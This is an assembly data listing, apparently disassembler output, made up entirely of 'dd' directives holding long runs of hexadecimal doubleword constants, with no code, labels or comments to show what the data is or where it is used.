		dd 846BEB8Eh, 2C2CAF26h, 3BC26E4Dh, 0CD5EBAD7h,	0D18E26C9h
		dd 12AC2652h, 0D3540C2h, 2FF54ACFh, 25084597h, 68844C54h
		dd 0EEB84169h, 6B11E4C0h, 0E8122145h, 0D4AD3DE9h, 2B028948h
		dd 29590D1Eh, 6884AEF4h, 64FA47C5h, 277FA4D2h, 0BCFC9F4Ah
		dd 19D868F0h, 0AEC23883h, 7CFEB4Ah, 0BA689B60h,	94C9A4Ah
		dd 3F05B0F4h, 9006F634h, 94CF5A89h, 1B8704BCh, 0C633AC49h
		dd 0E87911E8h, 7C5D8142h, 5309DFE6h, 0D764684Ch, 149C0965h
		dd 4D0155B9h, 0A7F93115h, 757A8B3Ch, 0A02D8967h, 33F1BE62h
		dd 0E97D0ED2h, 251C8B79h, 0E913984Fh, 256F1CBBh, 0BA0B457Fh
		dd 0B0278020h, 0E0845528h, 86EAACC3h, 3E3E8A21h, 0BCCA52B1h
		dd 0D55B7D5Bh, 4958CEC2h, 0AD3A5CF7h, 0DEBB92A9h, 3C285F25h
		dd 0ACBC4096h, 52852C00h, 0EEC043B6h, 0C6801C05h, 33CEDC66h
		dd 0C1CF0712h, 2AF02855h, 0D8C0A529h, 842A4FE9h, 4E28AB36h
		dd 0C0D2568h, 0E984A759h, 17108EA8h, 5994AA96h,	0A98EACABh
		dd 0CB9BBC7Ah, 0EA167D0Ch, 68555000h, 528C2CFCh, 0C4AE4EE9h
		dd 0DB91679h, 204DA277h, 0EF3980E2h, 38C786B7h,	0EB10CF28h
		dd 0DC82B907h, 0F957DC58h, 75C14B3Eh, 0F2176B4Fh, 0C2F4A9A9h
		dd 28FE7533h, 0A93A9E71h, 136477DAh, 0F3C1E89Dh, 843292BAh
		dd 68C33080h, 41C45DB4h, 6169C0Bh, 17232971h, 3BC7B476h
		dd 0F8D212C7h, 82B6DA48h, 2D52D208h, 1C7FD615h,	9C3B77ABh
		dd 8565EFE1h, 562DFBC9h, 273BB2D1h, 8C0C8393h, 4BF58703h
		dd 2F1E3A3Fh, 2FD99CE4h, 478E7AFh, 0D20B1DE9h, 61E048AFh
		dd 7A126852h, 15B22101h, 19A9F0D6h, 4D51F10Fh, 46EDC245h
		dd 55C0623Eh, 16840E0h,	0D6957F48h, 0AB9683E2h,	0D0049629h
		dd 8599590h, 4DC9F0D4h,	680A342Ch, 0C3EB0E90h, 669818EDh
		dd 0A5412FE9h, 0E2988F79h
		dd 400564EAh, 0DA014D6Ch, 6508B710h, 0F7BB5B7Fh, 52B6D71Eh
		dd 4E64EB4Eh, 0A3FEF285h, 0CCAED387h, 0DE50AC6Eh, 51BD0154h
		dd 56DCA706h, 9A6BC60Bh, 9FCF7D50h, 0E958A08h, 0B6EB5D54h
		dd 53D9F142h, 888452B1h, 0EB39287Ah, 8EDF074Ch,	2D20098h
		dd 751A4CBEh, 0FE312B70h, 0F5D2AF6Bh, 0F0832C72h, 3D6359F2h
		dd 57AFB286h, 31C66248h, 20EB1216h, 7771DABh, 62D1189Dh
		dd 68C973E9h, 98A2B5Eh,	9D0E277Fh, 43A17468h, 0C0A9634h
		dd 5B10D0BFh, 791D9705h, 12475368h, 0E9930131h,	9738F6BBh
		dd 7E0F99C0h, 0BE1E5676h, 519F7711h, 999562Dh, 0D924EAE9h
		dd 488BEF5Fh, 8485F24Ah, 25AC5B54h, 202BBCD2h, 2D5890F6h
		dd 8A515B35h, 0B05810A6h, 0C1882429h, 9750C773h, 58C2B2C8h
		dd 80818B45h, 54E912C3h, 0C0EC052Bh, 9EDA82E0h,	0B40032DCh
		dd 0E3EC8023h, 84DC6628h, 0CC323BBAh, 549C1A59h, 78183F98h
		dd 0D8F7AD9Dh, 254AC161h, 0F2201D85h, 61712835h, 0CC6297AFh
		dd 933D9AC0h, 3ADD724Ch, 3236D9A2h, 3357ECEh, 82955604h
		dd 25D8D546h, 53004771h, 9276BDBBh, 58DF3106h, 6204DA5Bh
		dd 0C068703Ch, 36A0D0Eh, 72506F4Fh, 141C6808h, 9CEE5F17h
		dd 912FE9BDh, 0CAB97DEDh, 992C3A58h, 0A9DC24E9h, 0CD5E4BE0h
		dd 0F7555A8Bh, 3B4EE091h, 0C09880F2h, 634C22C8h, 9B9A1299h
		dd 51D638BBh, 7E65B3FEh, 0A4BBC387h, 262768A8h,	0EBF0FB7Ch
		dd 0B208DB79h, 0C6BF010Fh, 3803A17Eh, 51AF124Eh, 5E574073h
		dd 4D4B1DD6h, 6C0A7B97h, 0B95102FCh, 43356471h,	0B6DFB7Eh
		dd 59CB010Dh, 0D5AEC5C5h, 558AC489h, 0F62F35F3h, 4493AC87h
		dd 3B3EE16Eh, 9652F3B7h, 94EAC94h, 0E6FD5D96h, 0BFC72686h
		dd 416F834Bh, 2BD17A2Ch, 0F3D23B87h, 1DB1A65h, 5304B5A4h
		dd 9EB08DE9h, 0ABECB75Ah, 0D3CDD52Dh, 0CA189F1h, 25593948h
		dd 894E5A74h, 4F596E1h,	500C9C2Ah, 0AD4E51F8h, 2FDA39AEh
		dd 50CBC2A3h, 273E9677h, 32D5FD55h, 8005DC04h, 7C207B5Ah
		dd 7F02CA81h, 0E92F2B23h, 50A24A93h, 36E3C035h,	8132964Ah
		dd 4638EB05h, 0C4EB4E59h, 0A1B4082Eh, 96165517h, 2B6A11E1h
		dd 59BB5ADAh, 824504DCh, 0F4BEC3ECh, 41807D04h,	11B85055h
		dd 72576000h, 0AAE04905h, 0B68948F6h, 0D914E54Eh, 13BA4A7Ch
		dd 3DF892AEh, 0AD50BFD2h, 682C6180h, 0C3116D6Ah, 5C00055Ch
		dd 1BF745B3h, 81E802BDh, 0CD298494h, 0D6CEAB61h, 5964BA5Dh
		dd 40559891h, 1CEA46CCh, 5E5EFFB0h, 5FF7C8F4h, 0EC54DDA6h
		dd 0C495C9B7h, 495F0BB3h, 0D5730DFh, 12B1BE9h, 69627B94h
		dd 4F7F574h, 80420816h,	663CE968h, 9260EEEEh, 0C6EC977Ch
		dd 6F0B5D4Eh, 0F0497F51h, 68A0235Ah, 20379208h,	5A6A40F9h
		dd 0C2DB50F7h, 0D0390149h, 3C5E2531h, 66832E8Ah, 0F2A5008Ch
		dd 7D243ABFh, 5A5A5E52h, 3B062D07h, 0CC805F79h,	584D64BEh
		dd 0E9F8C09Fh, 0FCECBAA7h, 0F4409E5h, 14AB0h, 28271EB8h
		dd 6D805E09h, 4F4D12A8h, 4187A869h, 3C302EB2h, 1AA923BCh
		dd 2ECA0170h, 4A590802h, 0F62BFD00h, 0D301252Ch, 279A1CDFh
		dd 52613FE9h, 0AFEC545Bh, 7B508282h, 5E64B61h, 4FFA7CA0h
		dd 5CE6D1C0h, 0A0618E63h, 606D1182h, 15EE7048h,	0CC34A6Fh
		dd 0EA6427C1h, 8ED07D53h, 0C5550882h, 8194A7C8h, 2505444Bh
		dd 0ED056F29h, 0DC0FD231h, 0A24E30D9h, 5F5CC917h, 0BE0B4FD9h
		dd 4BE47D78h, 0F92DAB97h, 0F86045A5h, 38FA4FC7h, 72DE96Fh
		dd 88959FAh, 541FF3D2h,	0F179464Bh, 0D060A771h,	4C05B450h
		dd 0E73038B7h, 8D7309C1h, 4FDEBF34h, 6AA18C2Bh,	62FE784Ah
		dd 6384182Bh, 56585D5Bh, 54B9680Bh, 0AD54210Dh,	1B6807FBh
		dd 46DD095Dh, 6499278Bh, 0C770A77Eh, 5F16043Ah,	80DF0175h
		dd 6B2DD7FDh, 0BE567007h, 80CB0E0Ch, 44D5E631h,	3D4861h
		dd 0E12EC604h, 409B848h, 0CBF21EA0h, 0BE0A5DEFh, 3FC8F689h
		dd 0CA8B9EF6h, 80B8F1D1h, 5F7961F7h, 5958CF31h,	0E9F1444Fh
		dd 1D18F22Ch, 5213E0CAh, 4BA22FBBh, 165A5628h, 0B866B568h
		dd 0C201B03Bh, 6EF6BF58h, 0CCBCCD65h, 2DB85431h, 0C7206F93h
		dd 7CAD2239h, 0F46B5B15h, 0B1D8C840h, 4A428FABh, 0F489F830h
		dd 0CDC6C4F2h, 0B70E0A3Eh, 0F1C2C6Ch, 0AC2DFDF8h, 0B6B16CC8h
		dd 0D44F825Ch, 7DDCBEF1h, 387C7E2Dh, 4C28BBCFh,	0ACF140AFh
		dd 7F50439h, 2CD82894h,	40550E49h, 0C38079B3h, 48EBE6FFh
		dd 875B3BB9h, 23C9B372h, 0A17DFEC2h, 76380591h,	0F8D0B420h
		dd 0A3364F4Ch, 0C4284EA3h, 0BE835584h, 442ACD09h, 276EE90h
		dd 0FE5FFD09h, 2A582747h, 2A012709h, 4B157020h,	0BE86C02Eh
		dd 9B091173h, 82F1095Bh, 14893B1h, 6E6FB551h, 0C5172FE8h
		dd 0E1A21356h, 0E6C30D8h, 6644604Eh, 40525422h,	7536BD6Ch
		dd 0C895235Dh, 1D96F5FDh, 801FFF1Ch, 5336C3CDh,	0E65DE93Bh
		dd 4D04858h, 300E7840h,	45485DC0h, 4C698ACh, 8FC476F1h
		dd 0B3D6C432h, 0ECE9C5BCh, 0C249EFACh, 3595F05Eh, 70F9F52Dh
		dd 0BC505BE8h, 0D30FC5AEh, 81DEA290h, 536E0FF6h, 0F0BD7792h
		dd 0EA88525Bh, 5A4FD3E4h, 71D565C4h, 85395A95h,	17EFDE31h
		dd 0D2762A0Bh, 33565136h, 7857BA01h, 97E9734Ah,	4057107Fh
		dd 220C4307h, 1C4D27Ch,	272EEDE5h, 0A2A57FA3h, 9B32CA0h
		dd 30592400h, 9D8018D0h, 52C5260Fh, 0C0230223h,	9341A52Ah
		dd 1142CAF7h, 0FE4AF902h, 15CEBCAh, 75F4C2A5h, 78094DDBh
		dd 0C0BB5127h, 6E13F22Dh, 7C0B3875h, 850CE851h,	0F0A2B954h
		dd 0BD2D9858h, 6465D4FEh, 4A5D27B0h, 4FD5F845h,	5FFBB16h
		dd 0EA7B7EDFh, 8FB2E377h, 0F040C6EFh, 0ABD55B96h, 0D2157939h
		dd 0A3F139F8h, 0F7C304F1h, 89599925h, 8DF4FB21h, 0FB1AD1FBh
		dd 0ABF32D78h, 3B1E4EC9h, 57C3B549h, 0BE9CFA29h, 18F6EB04h
		dd 29F95077h, 442F0841h, 0BB96B9Eh, 43AC405Ah, 294D3B23h
		dd 8C75078h, 48D8905Dh,	324FE068h, 0BA413317h, 0F061FE0Fh
		dd 107A375Dh, 0F6005CF7h, 71C480D4h, 0BCA4E328h, 6100C34Ah
		dd 0E6EACD35h, 0C72925D4h, 0C69F25F8h, 5804173Ah, 0F6C4000Fh
		dd 74E202CFh, 0F4251BB3h, 1C095390h, 29A7D3E9h,	82FB5EC5h
		dd 22232BB0h, 424C0460h, 0CAB5F0B8h, 999E401Fh,	931E51ADh
		dd 2A79E089h, 8FAA875h,	59CD5D12h, 0FEFE356Bh, 3D5C7BC1h
		dd 127BCA2Fh, 0B340A8C2h, 0E19C2DD0h, 0FAA47C44h, 77B99588h
		dd 0A5B805EBh, 7B572389h, 425FA565h, 0D3F45797h, 56C46850h
		dd 1304A073h, 0AE65837Bh, 68C6B190h, 0D3E42429h, 0F5A22FC0h
		dd 0D9DDFB57h, 0A5780B58h, 0FFB13A57h, 0FE2083F2h, 0B659473h
		dd 0CF57EE29h, 0BF9C3002h, 0DA051110h, 8316E91Eh, 0A1B365AFh
		dd 0C2BC3B19h, 412DAFF5h, 93D7ED2Eh, 12680080h,	62239C32h
		dd 0A27D1A73h, 0D7FCC63Ch, 6689CAD1h, 8CD1717Ch, 0BD53404Eh
		dd 2305040h, 0CAFE59EAh, 40D5E2D0h, 70C2802Ch, 5AD1092Ah
		dd 0B1ECC828h, 8352CC29h, 0CF80C968h, 947EE61h,	1E912F7h
		dd 0CBE641F0h, 88DA3202h, 2569F240h, 0F12297F6h, 0E7BEA96h
		dd 0D5319509h, 0F707EA48h, 738F87D2h, 351D7C21h, 57E4D16Fh
		dd 0ED9F8185h, 0EE66E7E4h, 77CE8960h, 4D11254Ch, 0D609BDFEh
		dd 3E047F4Eh, 0F097B1E1h, 60BD0CB0h, 75D6F6DEh,	0E6C00EFEh
		dd 0D56E8008h, 398EEECAh, 0F5286E89h, 7B3F5D45h, 0EDC0721Eh
		dd 7506F653h, 141A1C83h, 0AEC1E2D1h, 81060665h,	0BB76DA75h
		dd 0D5F2F79h, 0EDD518E5h
		dd 0BF805801h, 8926ADD0h, 5CB08522h, 903137ABh,	3B4C35F2h
		dd 4825B4Dh, 435D9765h,	286A5C2h, 4E2CD89h, 362F0954h
		dd 51D6BFDBh, 81195DAFh, 0E6172E34h, 0DD8C2E3h,	2A6232E9h
		dd 7E874B1Ch, 3EF607B6h, 8301757Ah, 5C4BA657h, 93EE28FFh
		dd 497F7CB5h, 1F6E6F5Fh, 8483A952h, 8C73BA68h, 0D6F85A73h
		dd 794AE2B8h, 0E11325B3h, 0AB8CABDBh, 0BF5570E7h, 72CB3676h
		dd 0D8C02E15h, 845EA561h, 0B9352501h, 9F070901h, 0B76FF981h
		dd 55B57C76h, 8AA130E6h, 13AEBD80h, 1792973h, 93FD7E2h
		dd 0F0E84128h, 889B3556h, 2344BA8h, 3D7914BFh, 0A6BBE055h
		dd 2C242806h, 5A9DD6h, 0F35B60BFh, 603081B0h, 704F06E3h
		dd 0BFA516FDh, 38E90481h, 1A5847E4h, 0FEC3548h,	6C03714Bh
		dd 33395EC4h, 542292E9h, 0AFAB800Ah, 7B2D97A0h,	47C34C02h
		dd 8905E801h, 558C0907h, 5712BD1h, 741FA82Ah, 1A9B3E76h
		dd 163C2100h, 1BB537Dh,	30412EE4h, 3B2CCAE9h, 9B0B924Ah
		dd 0C624CF09h, 88A0201h, 0EBC173D9h, 0E0E3A2C1h, 0FFB8A359h
		dd 20C22C55h, 2005C203h, 0C52912A5h, 2C08C510h,	7C2D8058h
		dd 0AF0CB5A4h, 0E129B393h, 0EC6C40E9h, 1B45824h, 391651DCh
		dd 0A0243A5Bh, 82B42982h, 1673EC3h, 3A482868h, 46E4BB8Dh
		dd 21F1287Ch, 0BCF76EECh, 8FC8BDBEh, 4E710C58h,	0E9D9B0AEh
		dd 0D7B9126Eh, 0F60739CDh, 4F70B1E3h, 84C2E91Ch, 0E0560284h
		dd 61FD15EAh, 65883B87h, 7DAF13BAh, 5041AF07h, 0C317A9B9h
		dd 0B344016Fh, 44498940h, 20B4FFB4h, 0D8930EF1h, 2ADF502Fh
		dd 0A47F9E2Ah, 31224DEh, 21A84332h, 2C13A7E9h, 0DD68C7AAh
		dd 5266852Ah, 1EFD0B30h, 40761F94h, 456E2D00h, 7574CE9h
		dd 0AC464FBFh, 3AA98206h, 3669D1D2h, 0D76F0BF7h, 0A1F050A9h
		dd 7F8EA32Fh, 2156D431h, 5AA713FEh, 67E8BC0Eh, 50EED623h
		dd 5D2D089Fh, 0AA5896DCh, 0B5E1D47Ch, 0EED6D417h, 0B0EB5634h
		dd 7E9FF378h, 0A1F60B67h, 0B980FEC7h, 4EEF6245h, 7DCC0BBBh
		dd 9565510h, 0E5942D0Eh, 7AE82EFDh, 9E2E0741h, 0B5FD5E8Ah
		dd 27A3AEA4h, 0A7545C8Bh, 685553E0h, 0F16B0ED6h, 41C45D02h
		dd 0A2C7987Ch, 4E8E4909h, 0D492321h, 0F9593B97h, 0BAA2C892h
		dd 9905BB21h, 0EC7DBB00h, 0F322D32Eh, 0B6022AA4h, 0D8B1D69Fh
		dd 6D89D2Ch, 4D91532Fh,	51E90423h, 0DB09A2ACh, 0DA560275h
		dd 2D588B09h, 0B33AB5Fh, 427B7E32h, 2460F129h, 58247F41h
		dd 1302D339h, 0DF18AA5Ch, 7CDF8E4Bh, 4F5E2966h,	9214114h
		dd 0BD628AEh, 0F2855F86h, 0BFBA941Bh, 7F53AB3Eh, 164C9D10h
		dd 9F44BCE9h, 0CEBFD86h, 0F2392C97h, 6E719A72h,	10052158h
		dd 444EA334h, 0BBDD018Ch, 4C75282Ch, 0A4A405C2h, 0DC6469E0h
		dd 17B8C5B9h, 3B518093h, 0CC90D09Ch, 0BFB3B75Eh, 7D56BA02h
		dd 19FC1B6Fh, 3A0D3507h, 638E260h, 0AC6D6018h, 20DD5636h
		dd 0A8D62924h, 27E9EE02h, 0E00F71B7h, 26B25253h, 843EF19Ch
		dd 2CB151FCh, 0D5029C82h, 667C3A44h, 7AD7FDF3h,	0A9CBF0A8h
		dd 595FD5F0h, 0EE470AEAh, 65933F69h, 787FB2BCh,	1A0CCB26h
		dd 0C6E1C42h, 0F6037370h, 0B45066D9h, 74E1827Bh, 53C946ECh
		dd 16C1BF05h, 77F84F6Fh, 0CDE90D62h, 9B015F8h, 5397F372h
		dd 208F2898h, 575BB175h, 0D5AE0185h, 0E349FA1Bh, 0F54DE2F4h
		dd 0C34AF658h, 568D31BEh, 0C53A09BEh, 0EE7295DCh, 3060882Dh
		dd 0F9681302h, 5428BB29h, 21DC955Bh, 18E4E1C4h,	55034B9Bh
		dd 41741349h, 0BF86F96Dh, 4A3A480Bh, 28E88AC1h,	36731B71h
		dd 54E72F77h, 0FDA02FC9h, 1FB43FC4h, 0AD30BF04h, 0BE2F685Ah
		dd 0DE7E9844h, 0F32981E5h, 0D7F908C2h, 0C0A3E8A7h, 9ED5879h
		dd 5D0B172Fh, 8B410BF7h, 7A025FD0h, 93099BF6h, 0C0D699FBh
		dd 202B897Eh, 0B74AE971h, 0EFDE85AEh, 122FC9A6h, 57D2B1FFh
		dd 0D6E9B789h, 0D24331DEh, 5629A123h, 0C5BAADF0h, 0C1F08919h
		dd 7B8BAA46h, 5468FC71h, 0E90E856Ch, 2F1C2F9Fh,	301F1C5Fh
		dd 0BE408297h, 0DB130C40h, 8C912901h, 443BA165h, 0ED6CB73Ah
		dd 5FC63320h, 2EB2E354h, 188F5B53h, 0DF21246Fh,	769F47F0h
		dd 0B0D6A58Ch, 56E56806h, 12AC4A99h, 9EE6BB8Ah,	4B5EB3D7h
		dd 42CD9A06h, 464A023h,	4A2C2563h, 8CD7E575h, 5FC1F4F8h
		dd 0C796B0B5h, 0A92D13C0h, 4250EA51h, 0B4582808h, 0BFBB162Ch
		dd 0F22F77ADh, 403B987Eh, 4E32FE0Dh, 7F8FE25Ah,	9E7F9009h
		dd 33E92A62h, 1B90DAh, 4CC7E03Eh, 946B9D2Dh, 0AEF0EE90h
		dd 5C47039Eh, 76C2F59Bh, 0C1583474h, 555E9DA0h,	807F76Ah
		dd 4F863921h, 2B340EDCh, 0F7C015C6h, 7B640FD6h,	618818C0h
		dd 553DF6h, 6D046BBDh, 0E9EF316Fh, 0E4DDF226h, 0CC555C50h
		dd 0F2BF49E0h, 470B4013h, 0BC1F4212h, 0D4BF958Bh, 0D3D77263h
		dd 2FC7A5DFh, 0B601627h, 75B47C1Dh, 1A722106h, 14594D76h
		dd 0BE533427h, 0AE3195AEh, 0BEE9DC21h, 0A4AB59F2h, 7C5C0BE6h
		dd 18020B44h, 898D8AD9h, 734741C3h, 7139ECEAh, 38746223h
		dd 420F201Ah, 0DFCD382Fh, 4F7C3D40h, 5698E673h,	212D3F4Eh
		dd 167DA66Eh, 68AE96BFh, 0C8326821h, 7EED2B10h,	0A3DD2FFCh
		dd 0A1F17275h, 0D56156AAh, 2A2617EDh, 0AAA61013h, 4ECF4D31h
		dd 0E1D72197h, 0BC7D20CBh, 2530515Bh, 2C435B72h, 2E630937h
		dd 0E61DFDh, 53458A2Eh,	0A15DB0E9h, 0AFFD3B49h,	6BFFAA4h
		dd 93155BE1h, 2509E234h, 7205B60Eh, 7BE90ECCh, 2137FF87h
		dd 4CA4E5Ah, 165C9B00h,	0B0D5210h, 19AB0807h, 2F6B904h
		dd 74786168h, 56DD6F1Ch, 0B8DED87h, 25558C5h, 0E8433260h
		dd 1448C4D9h, 0EA290D9Bh, 0C83A0741h, 2341329Ah, 9787B96Ah
		dd 248313EEh, 0F08AFCECh, 803938E9h, 9097FD87h,	59946840h
		dd 0A185246Bh, 1347B95Bh, 0FA122801h, 0CE055AB9h, 427EE068h
		dd 4CB9E96Dh, 0A001675Fh, 32C920F2h, 0F2BD7DB0h, 89E09512h
		dd 0FA918BE1h, 3DFD6884h, 2A7829EBh, 0BBB06EF8h, 56C0A332h
		dd 2B7989F6h, 0D6871810h, 6EE90642h, 9594E84Bh,	2A8CE1AFh
		dd 769478FAh, 8806809Ch, 5EBC59CBh, 52D60FA1h, 0FD930EE5h
		dd 974484B7h, 0CFBA5F00h, 8A1752D7h, 0A51CCA29h, 0B674C8C2h
		dd 0D72DC333h, 0D42A3C62h, 0BF09658Bh, 59CD96D0h, 68190B7Fh
		dd 6C717E02h, 0C152AD82h, 2E87E28h, 0E30CFF2Fh,	28DE7BE1h
		dd 0E0E4C13Ch, 94A544D1h, 84E29357h, 185E0A04h,	0A89801B7h
		dd 1FDDB0CEh, 7D03E8C0h, 6A592FFDh, 0A5FC28A9h,	8194D5A7h
		dd 0D6691D20h, 0DC90BA1Dh, 0E536659h, 0FA2832B7h, 339E04D6h
		dd 0F4480BC4h, 0BA608289h, 0D075CA16h, 0D1CF484Ch, 630B9778h
		dd 70AEE077h, 685180D6h, 9498204Ah, 9C544E03h, 66BF5948h
		dd 0BE0C4A62h, 608C3A28h, 89BB548Dh, 0C698B316h, 4C3CD659h
		dd 0A6830F9h, 903073B5h, 0E58005F8h, 0C2DDF607h, 5977B41Ah
		dd 685C02E6h, 0D7986679h, 0A14F99E9h, 0D606A94Bh, 2B8580EBh
		dd 4F21FD8Bh, 4B981C5Eh, 9791EEE9h, 2BC0EB69h, 0F6EBAF12h
		dd 0CEE3D2D0h, 91DAE985h, 70C329B8h, 3313F3DBh,	0D5A064A2h
		dd 1235050Bh, 0AF4E3DE9h, 0B9480F9Ah, 0B22D6E20h, 0AD92DE8Ah
		dd 0CABC67F4h, 6981AE24h, 0B84C376Dh, 25E57AB1h, 0D8E681D3h
		dd 0A274562Dh, 0AF4520BCh, 0E378C518h, 7C8189FEh, 775EE273h
		dd 5D271C65h, 0B75F8ABh, 0D06D0579h, 0EB2C8DB0h, 0A3616C88h
		dd 0C62C5316h, 6E82F751h, 2F2B784Ah, 547F78E1h,	0A6F2EEF0h
		dd 0CF506F8Bh, 684FB09Fh
		dd 75A6AA2Dh, 0F62DDD4Dh, 0D20173D8h, 63390FC7h, 0E360D8F7h
		dd 0D41B25E9h, 8103DBDAh, 0A2847EC1h, 0AC77E94Bh, 0C3541AA5h
		dd 97FA5572h, 4FD9022Ch, 568B689Fh, 0C4FC8EEDh,	85FC7263h
		dd 5255C2C9h, 0BA69047h, 1F160C2Fh, 2912C1F4h, 0B181D84h
		dd 2221F022h, 45952B4Bh, 0E95704A9h, 5AF95FEh, 61332A8Dh
		dd 1DF97F5h, 51DDD121h,	0BDF132Ah, 4BDE4C80h, 6745F725h
		dd 0FD613709h, 0AA898B18h, 0CD66082h, 2B0D201Dh, 47352B5h
		dd 0B6BB3F5h, 176A800Fh, 0EA486AC8h, 4C91204Ah,	5E04C65Bh
		dd 0C75D3E49h, 77BAF0BEh, 0CA956F39h, 0FE080F5Eh, 8068FA42h
		dd 4418756Ah, 44827773h, 405D9004h, 39FE5EA4h, 5941B54Fh
		dd 637F78B1h, 0C5E2E0DAh, 23D4ED4Eh, 8BA39C68h,	0B3C6652Bh
		dd 0AD07E009h, 6431D432h, 0AC4AA031h, 0E55BA261h, 40F52D1Fh
		dd 6BDE69Ch, 0E4D1EC7h,	3004F27Eh, 5DEE89B5h, 87E00EEEh
		dd 0A80502F0h, 61EC1D2Ch, 883FA335h, 0EF48B3A6h, 736B3EF0h
		dd 0B652030Fh, 12E62C0Bh, 92027FEEh, 0A11F2E85h, 3443460Eh
		dd 0D85688E8h, 56BF4FDFh, 846FBD52h, 0B9007133h, 2CB3E014h
		dd 805AF39Fh, 292EC381h, 529F4664h, 5F0881B4h, 18B6CD20h
		dd 0C23216Eh, 650F19FCh, 0CADE291Fh, 0C3408EEh,	7CA01416h
		dd 0AF3218FAh, 67F50C07h, 177EE1Dh, 820AA6Ch, 4D140CD0h
		dd 17C948D3h, 5137E07Eh, 0CB779082h, 9009F7F9h,	16EFE119h
		dd 0BC02D467h, 6A27100Ah, 79AFBF09h, 20551A89h,	0B368105Ch
		dd 16FB901Bh, 0A74E46E9h, 51662765h, 65690C84h,	8509BA62h
		dd 751B7F14h, 4CEABCDAh, 0A021F195h, 0EC594B11h, 0B951C05Fh
		dd 610E205Ch, 5016A86Ah, 0C7017ED9h, 752C5D83h,	39D4988Fh
		dd 80657B4Fh, 62B2EECBh, 0A885B213h, 0B9D2A136h, 62F88901h
		dd 0D05425AFh, 0A6509DA5h, 84E5B49Dh, 0BB683906h, 0D48E154Dh
		dd 0D52CD0B7h, 0F627722Eh, 3018F729h, 0DE27E95Dh, 0EF40A01Dh
		dd 0B8D0316Dh, 0BDFB7972h, 0F45B53F4h, 60EDF1BEh, 3C9A9A4Ch
		dd 5712E791h, 0E284DCA7h, 3AAC1226h, 0F0FF8F34h, 271FC530h
		dd 0E8570584h, 83108556h, 9BF701A6h, 0CFFED7F6h, 2FE8DFD1h
		dd 58AB9573h, 5617B574h, 5EEC2CBEh, 449E79BFh, 0C1F7AA56h
		dd 0BFC9FB97h, 205A0392h, 0B2078D11h, 0F4087450h, 79841E04h
		dd 10125429h, 0E85A0AABh, 448185F6h, 19E91F20h,	6B6797D2h
		dd 221AF989h, 9BFA311h,	9B20C254h, 0D50BFEFBh, 74A78EC7h
		dd 0DB94C92Ah, 47A4A0C1h, 166B7287h, 36D009Bh, 31225C5Eh
		dd 7A12D896h, 0DD290B4Bh, 9DFCECE8h, 0E4EEB3C0h, 0BD332CB0h
		dd 64AD0549h, 63F4B946h, 0BF322901h, 8F67AC91h,	547F0721h
		dd 0C2013320h, 2970631Ah, 81CA0CFh, 0E7A3E976h,	0C8C58889h
		dd 584F59EBh, 0A8009A85h, 9B05026h, 0D0C802FEh,	0AFF2E9E8h
		dd 5B510FF6h, 7D35882Ah, 1A31C4Ah, 0E34F3212h, 0EF88054Ch
		dd 0D1F040E9h, 38782568h, 55C15CFBh, 2238C4E9h,	3178994Dh
		dd 0FD256643h, 0E9C5C15Bh, 81D450F0h, 171888E2h, 3D0C7BABh
		dd 78751738h, 0A197094Ah, 0BBA76DDBh, 50A80056h, 0C4803CB4h
		dd 364BE901h, 297FB8A1h, 2F222597h, 0E93A3CBEh,	51AF2827h
		dd 3ADF4910h, 0D1F5F48Eh, 5FDC64E0h, 0BDFC5850h, 0B3405141h
		dd 20E02835h, 5302C15Dh, 522E14BBh, 0E87C5F62h,	5F28E601h
		dd 0F6D866BFh, 101C1A05h, 0BFC00C12h, 589834B3h, 2C01CD3Ch
		dd 0C5942E3Eh, 0AF8B4E08h, 0A8719F7Fh, 0FEABE962h, 0A7CE2F1Ah
		dd 56302C42h, 4E0BFAF8h, 0E7C12D09h, 0DD4F0F06h, 0E928A0C2h
		dd 5826D807h, 919D451h,	0F4DD54B5h, 0AEB708E4h,	84D1E4DEh
		dd 3E3F38FFh, 58A5DD41h, 0BF08B4DDh, 3AFDFD1Ch,	7CD920F7h
		dd 32854809h, 52A6410Bh, 9C3A5D89h, 56090352h, 0DCC7A0E9h
		dd 0F209C9E3h, 5A5DD155h, 0A1E05193h, 4C170241h, 0DC41D7E9h
		dd 1A607DB8h, 0BEBAD1EFh, 589DE36Fh, 109E31D2h,	53DC5155h
		dd 29259DDCh, 5B5EF0B4h, 0DADCF497h, 80E66757h,	0DE4567BAh
		dd 0EA26E978h, 3192D7B0h, 0CAC48FEDh, 715C0BB1h, 0FB4A6241h
		dd 27B9FD0Fh, 78BD7E44h, 60B17ECBh, 10CA6E0Bh, 25DD73B2h
		dd 0D74FB20h, 53BC5B12h, 5000AE90h, 2D131568h, 8306581Dh
		dd 1635FFE8h, 7B1C7F12h, 0D821275Bh, 600BB0F9h,	82E359B6h
		dd 27766211h, 3B34FAF7h, 0F24EA8E9h, 2EF8B62h, 0F7F9B4ECh
		dd 9ED65813h, 5B61110Ch, 6105BC51h, 1593041h, 18E53EF2h
		dd 7E220CC8h, 0E25D4A33h, 0B8CA6066h, 2E4C1047h, 12BB4036h
		dd 0A643010Dh, 0F40B0569h, 89261648h, 0E9E141C2h, 0A10457F7h
		dd 0BAB94404h, 0C2816DD0h, 6601709h, 0F06AA19h,	0F99573F1h
		dd 0FFADEF30h, 3BB16800h, 0E5F1719Dh, 0B483CC2Dh, 57953D70h
		dd 7A156439h, 0AB81600h, 0F407876Ch, 0C432BAF5h, 0C85B6FA6h
		dd 7E177485h, 9683251Dh, 9B60F107h, 7DA0A3BAh, 54B729Fh
		dd 59FF3FC6h, 0E89A850Eh, 20F64E93h, 87D8C027h,	29508CB1h
		dd 64D9B66Fh, 0B42E908Ch, 0EC3D801Ch, 3D4C3681h, 90330B0Ch
		dd 89F09651h, 845A5DFCh, 0A89057EDh, 8CF5CC24h,	90153C25h
		dd 0C229134Eh, 2D689F8Bh, 0BA0424C6h, 52E10EA9h, 0ABBF73C2h
		dd 0AC29D5C7h, 1E2D32D4h, 52AEFE99h, 6B04261Eh,	80615755h
		dd 27033D33h, 0CA07FD76h, 600A3C28h, 573BF2C0h,	515D014Fh
		dd 1374D8B9h, 56F1F008h, 604A7748h, 0C5AAE8FAh,	0DC549DFEh
		dd 0FB6C9B82h, 0F224C042h, 2D052412h, 903AA86Bh, 4B7F2032h
		dd 6E86BE05h, 16AF3C47h, 0A650171h, 82BBA962h, 0A42D2A4Ah
		dd 167DF05Dh, 9476FBh, 128C6A4h, 78BAE893h, 0F3B789Fh
		dd 41172553h, 6001FF13h, 73316B09h, 2A4EBD8h, 5629AA62h
		dd 14FC9E68h, 48F97C8Bh, 483EEAC7h, 0D66F772Ah,	0CF07FAC3h
